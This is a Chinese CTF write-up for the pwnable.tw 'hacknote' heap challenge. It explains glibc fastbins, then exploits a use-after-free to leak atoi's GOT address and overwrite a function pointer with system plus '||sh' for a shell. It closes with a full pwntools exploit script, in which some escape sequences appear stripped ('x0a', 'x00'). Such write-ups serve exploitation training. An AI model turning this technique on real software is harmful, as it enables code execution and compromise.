pwnable.tw hacknote

hacknote

先来看看CTFwiki对fast bin 的介绍

Fast Bin
大多数程序经常会申请以及释放一些比较小的内存块。如果将一些较小的 chunk 释放之后发现存在与之相邻的空闲的 chunk 并将它们进行合并,那么当下一次再次申请相应大小的 chunk 时,就需要对 chunk 进行分割,这样就大大降低了堆的利用效率。因为我们把大部分时间花在了合并、分割以及中间检查的过程中。因此,ptmalloc 中专门设计了 fast bin,对应的变量就是 malloc state 中的 fastbinsY
为了更加高效地利用 fast bin,glibc 采用单向链表对其中的每个 bin 进行组织,并且每个 bin 采取 LIFO 策略,最近释放的 chunk 会更早地被分配,所以会更加适合于局部性。也就是说,当用户需要的 chunk 的大小小于 fastbin 的最大大小时, ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块,如果有的话,就会直接从这个 bin 中获取 chunk。如果没有的话,ptmalloc 才会做接下来的一系列操作。

默认情况下(32 位系统为例), fastbin 中默认支持最大的 chunk 的数据空间大小为 64 字节。但是其可以支持的 chunk 的数据空间最大为 80 字节。除此之外, fastbin 最多可以支持的 bin 的个数为 10 个,从数据空间为 8 字节开始一直到 80 字节(注意这里说的是数据空间大小,也即除去 prev_size 和 size 字段部分的大小)

首先检查一下保护

程序是个典型的堆题,给了libc。

首先我们来看看add函数

只能同时申请5个,并且ptr指向如下结构体,content又指向一个chunk。

struct{
void* function;    //put函数指针
char* content;
};

一看到这,我猜想估计是UAF,我们再来看看Delete函数。

不出所料,果然存在UAF。因为它free之后没有把指针清零。

show 函数里调用了结构体的第一个指针。把结构体的a1+4为位置,即content打印出来。

我们现在的思路就是使用UFA,让content指向一个结构体,然后修改其函数指针,最后调用。

首先我们先如下申请内存。

add(0x30,"A"*0x30)#0
add(0x30,"B"*0x30)#1

此时我们有了,如下的chunk

我们按如下顺序delete,观察fastbinsY

dele(0)  #fastbinsY[0]->struct0
dele(1)  #fastbinsY[0]->struct1->struct0

根据fastbin 的LIFO策略,我们知道free完后fasbinsY[0]的链表如下。
fastbinsY[0]->struct1->struct0

这个时候我们add一个0x8字节大小content2的struct2,他会去拿fastbinsY[0]中的struct1 当作struct2,struct0 当作content2,
我们修改content2就等于修改了struct0的内容。我们将struct0的函数指针不动,把content0改为atoi的got地址。

add(0x8,p32(0x804862B)+p32(elf.got['atoi']))#2

我们时候show(0),即可泄漏出atoi的got地址。进而算出system的地址。

dele(2) #fastbinY[0]->chunk1->chunk0
add(0x8,p32(system)+"||sh")#3

我们把ptr[2] free掉,让fastbinsY[0]还原。再同上ADD一个struct3。

add(0x8,p32(system)+"||sh")#3
show(0)

同上我们将struct0的函数指针指向system的地址,我们观察show中函数指针调用时把自己的地址即ptr[0]的地址传了进去,这样函数就会执行system(ptr[0])
因为system的参数是字符串,字符串以x00结尾。所以我们把system函数的地址以及content0的地址 加在一起形成的字符串传进去了。

我们可以看到 || 前面不管是什么都不影响。所以我们add(0x8,p32(system)+"||sh")就可以绕过这个坑。

解题脚本

from pwn import *
context.log_level = "Debug"
p = process('./hacknote')
#p = remote('chall.pwnable.tw',10102)
#libc = ELF('./libc_32.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
elf = ELF('./hacknote')

def add(size,Content):
    p.sendlineafter('Your choice :','1')
    p.sendlineafter('Note size :',str(size))
    p.sendafter('Content :',Content)

def dele(idx):
    p.sendlineafter('Your choice :','2')
    p.sendlineafter('Index :',str(idx))

def show(idx):
    p.sendlineafter('Your choice :','3')
    p.sendlineafter('Index :',str(idx))



add(0x30,"A"*0x30)#0
add(0x30,"B"*0x30)#1


dele(0)  #fastbinsY[0]->chunk0
dele(1)  #fastbinsY[0]->chunk1->chunk0


add(0x8,p32(0x804862B)+p32(elf.got['atoi']))#2
show(0)
atoi =  u32(p.recvuntil('x0a',drop=True).ljust(4,'x00'))
print "atoi: "+hex(atoi)
libc_base = atoi - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
print  "system: "+hex(system)

dele(2) #fastbinsY[0]->chunk1->chunk0
add(0x8,p32(system)+"||sh")#3
show(0)

p.sendline("cat /home/hacknote/flag")
p.interactive()
原文地址:https://www.cnblogs.com/Rookle/p/12884553.html